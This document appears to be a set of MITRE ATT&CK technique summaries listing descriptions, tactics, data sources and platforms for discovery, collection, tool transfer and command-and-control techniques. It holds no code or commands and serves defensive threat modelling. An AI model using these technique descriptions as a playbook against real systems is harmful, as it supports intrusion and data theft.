Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre